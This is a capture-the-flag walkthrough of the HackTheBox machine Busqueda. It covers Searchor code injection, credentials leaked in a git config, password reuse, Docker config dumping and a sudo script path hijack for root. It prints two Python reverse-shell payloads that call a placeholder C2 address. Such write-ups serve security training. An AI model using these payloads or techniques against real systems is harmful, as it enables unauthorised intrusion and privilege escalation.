Busqueda - HackTheBox

CTF Writeup for Busqueda from HackTheBox

Busqueda - HackTheBox
Photo by taronyasbub / Unsplash

This CTF is based on Python vulnerabilities, Docker and password reuse.

Starting off with an nmap scan; We find 22/tcp[SSH], 80/tcp[HTTP].

Going to 80/tcp[HTTP] we find a redirect to 'searcher.htb' .

'searcher.htb' page.

When testing the search functionality, it sends two parameters of 'engine' and 'query'; maybe this could be SSTI, lettuce look further.

'searcher.htb' page footer.

From this footer info we find the version of 'Searchor' being used (2.4.0).

Doing a quick online search for 'Searchor' vulnerabilities, we get goods.

'Searchor' vulnerability DuckDuckGo search.

Looking into GitHub user jonnyzar's repository 'POC-Searchor-2.4.2' .

'POC-Searchor-2.4.2' repository.

This notes this exploit works for 'Searchor' <=2.4.2 and 2.4.0. He also offers exploit code to send as the query for RCE, convenient.

', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<C2-ipv4>',<C2-port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
jonnyzar's exploit query code.

This worked and we now have reverse shell.

Once in, we have a user account of 'svc'; we can get our 'user.txt' flag now.

svc$ ls ~/
> snap user.txt
svc$ cat ~/user.txt
> ********************************
Collecting 'user.txt' .

Lets enumerate a little.

svc$ pwd
> /var/www/app
svc$ ls -lah
> ... snip ...
> -rw-r--r-- 1 www-data www-data 1.1K Dec  1 14:22 app.py
> drwxr-xr-x 8 www-data www-data 4.0K Apr 16 15:24 .git
> drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 templates
> ... snip ...
svc$ ls -lah ./.git
> ... snip ...
> -rw-r--r-- 1 www-data www-data   15 Dec  1 14:35 COMMIT_EDITMSG
> -rw-r--r-- 1 www-data www-data  294 Dec  1 14:35 config
> -rw-r--r-- 1 www-data www-data   73 Dec  1 14:35 description
> ... snip ...
svc$ cat ./.git/config
> ... snip ...
> [remote "origin"]
>	 url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
>	 fetch = +refs/heads/*:refs/remotes/origin/*
> ... snip ...
Enumerating 'searcher.htb' git config.

We find two things: a subdomain of 'gitea.searcher.htb' ( guessing a Gitea instance? ) and a username/password combo for user 'cody' for it. Save all credentials.

Navigating to the Gitea instance ( with cody's credentials ) there isn't anything important, only to note two users on the instance being 'cody','administrator' .

As usual, try any passwords found on any user as password reuse is popular.

svc$ sudo -S -l
> [sudo] password for svc: jh1usoih2bkjaspwe92
> ... snip ...
>
> User svc may run the following commands on busqueda:
>     (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Checking sudo permissions.

Hmm, this script isn't readable, only executable; We will test it.

svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py /etc/passwd
> Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
>
>      docker-ps     : List running docker containers
>      docker-inspect : Inpect a certain docker container
>      full-checkup  : Run a full system checkup
Checking sudo permitted custom server script.

Testing each allowed sub-command.

svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
> ... snip ...
> 960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   3 months ago   Up 4 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
> f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   3 months ago   Up 4 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db
svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
> Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
> Something went wrong
Testing 'system-checkup.py' sub-commands.

Okay, from these sub-dommands, 'docker-inspect' stands out.

Documentation: "Return low-level information on Docker objects".

This is a quiet way to say you can essentially dump it's config.

$ docker inspect --format='{{json .Config}}' $INSTANCE_ID
Documentation based config dumping.
svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' <instance-id_or_name>
Custom system script config dumping.
'gitea' container config dumped.
'mysql_db' container config dumped.

We now have multiple passwords. To save time, the DB is useless.

We can now login as 'administrator' into Gitea with one of the config passwords.

( Gitea ) administrator's 'scripts' repository.

Remember the 'full-checkup' sub-command that ended in an error? Well now we can look into it and how it tries to execute.

Looking into the 'system-checkup.py' and the 'process_action' function we can find how the 'full-checkup' sub-command operates.

'full-checkup' sub-command source.

Spotted the problem?

So all we need to do is create a script in a writable directory named 'full-checkup.sh' and we can stuff our reverse shell inside for a root privilege escalation.

#!/usr/bin/python3
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<c2-ipv4>",<c2-port>))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
Malicious 'full-checkup.sh' source.
svc$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
... hang ...
'full-checkup' sub-command payload execution.
root# ls /root
> ecosystem.config.js root.txt scripts snap
root# cat /root/root.txt
> ********************************
Root reverse shell caught and collected 'root.txt'.

We now have 'root.txt' .

That's all :) .